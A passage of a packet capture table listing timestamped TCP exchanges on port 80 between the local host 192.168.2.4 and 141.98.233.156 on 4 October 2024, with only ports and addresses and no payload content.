Oct 4, 2024 09:52:34.883982897 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.883990049 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.884013891 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.884022951 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.884032965 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.884054899 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.884074926 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.884087086 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.884099007 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.884118080 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.884145975 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.884165049 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.884179115 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.884197950 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.884221077 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.884231091 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.884249926 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.884263992 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.884296894 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.884300947 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.884321928 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.884330988 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.884351015 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.884362936 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.884378910 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.884397984 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.884414911 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.884430885 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.884457111 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.884463072 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.884495020 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.884496927 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.884516954 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.884547949 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.884771109 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.884804010 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.884821892 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.884835958 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.884852886 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.884869099 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.884896994 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.884905100 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.884915113 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.884937048 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.884955883 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.884970903 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.884988070 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.885003090 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.885023117 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.885034084 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.885051966 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.885066986 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.885086060 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.885099888 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.885119915 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.885133028 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.885142088 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.885164976 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.885183096 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.885196924 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.885227919 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.885237932 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.885261059 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.885268927 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.885268927 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.885293007 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.885307074 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.885324955 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.885334969 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.885359049 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.885375023 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.885391951 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.885410070 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.885423899 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.885441065 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.885457039 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.885477066 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.885487080 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.885512114 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.885534048 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.885723114 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.885756969 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.885776043 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.885788918 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.885806084 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.885821104 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.885839939 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.885854006 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.885868073 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.885885954 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.885902882 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.885917902 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.885946989 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.885951042 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.885970116 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.885983944 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.886003017 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.886017084 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.886038065 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.886048079 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.886060953 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.886080027 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.886096001 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.886111975 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.886130095 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.886142969 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.886158943 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.886174917 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.886192083 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.886208057 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.886225939 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.886240005 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.886254072 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.886271954 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.886286974 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.886317968 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.970686913 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.970782995 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.970818043 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.970865011 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.970896006 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.970913887 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.970942020 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.970947981 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.970966101 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.970980883 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.971000910 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.971014023 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.971023083 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.971045971 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.971065044 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.971077919 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.971090078 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.971124887 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.971128941 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.971159935 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.971172094 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.971204042 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.971209049 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.971241951 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.971252918 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.971275091 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.971285105 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.971309900 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.971328974 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.971340895 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.971362114 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.971373081 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.971389055 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.971419096 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.971436024 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.971471071 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.971487045 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.971508026 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.971517086 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.971540928 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.971571922 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.971575022 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.971597910 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.971605062 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.971618891 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.971636057 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.971648932 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.971668005 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.971682072 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.971699953 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.971719027 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.971731901 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.971749067 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.971764088 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.971776962 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.971796989 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.971811056 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.971832037 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.971846104 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.971867085 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.971889973 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.971901894 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.971921921 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.971945047 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.972016096 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.972048044 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.972068071 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.972079992 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.972094059 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.972111940 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.972125053 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.972142935 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.972150087 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.972176075 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.972193956 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.972208023 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.972215891 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.972239971 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.972253084 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.972271919 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.972285986 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.972301960 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.972315073 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.972333908 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.972345114 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.972367048 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.972377062 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.972398043 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.972409964 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.972430944 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.972451925 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.972461939 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.972482920 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.972495079 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.972527027 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.972548008 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.972548008 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.972558022 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.972572088 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.972593069 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.972601891 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.972636938 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.972879887 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.972909927 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.972928047 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.972942114 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.972960949 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.972973108 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.972985983 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.973004103 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.973021984 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.973035097 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.973051071 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.973066092 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.973081112 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.973097086 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.973112106 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.973128080 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.973144054 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.973159075 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.973191023 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.973191977 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.973217964 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.973223925 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.973253965 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.973257065 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.973270893 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.973289013 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.973301888 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.973320961 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.973330021 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.973354101 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.973366976 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.973388910 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.973400116 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.973421097 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.973433971 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.973453999 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.973465919 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.973485947 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.973500967 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.973571062 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.973586082 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.973613977 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.973793983 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.973840952 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.973845005 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.973879099 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.973910093 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.973917961 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.973941088 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.973973036 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.973999977 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.974004030 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.974036932 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.974050045 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.974067926 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.974081039 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.974102020 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.974116087 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.974133968 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.974138021 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.974167109 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.974179983 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.974199057 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.974208117 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.974231005 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.974241018 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.974262953 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.974275112 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.974296093 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.974306107 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.974328041 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.974338055 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.974363089 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.974370956 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.974395990 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.974406004 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.974427938 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.974438906 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.974461079 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.974472046 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.974503994 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.975224972 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.975291967 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.975372076 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.975416899 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.975423098 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.975455046 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.975467920 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.975486994 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.975502014 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.975518942 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.975529909 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.975552082 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.975569010 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.975584984 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.975598097 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.975616932 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.975625992 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.975649118 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.975656986 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.975682020 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.975692034 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.975713968 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.975725889 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.975748062 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:34.975758076 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:34.975804090 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.059326887 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.059405088 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.059429884 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.059480906 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.059483051 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.059515953 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.059530020 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.059551001 CEST	80	49745	141.98.233.156	192.168.2.4
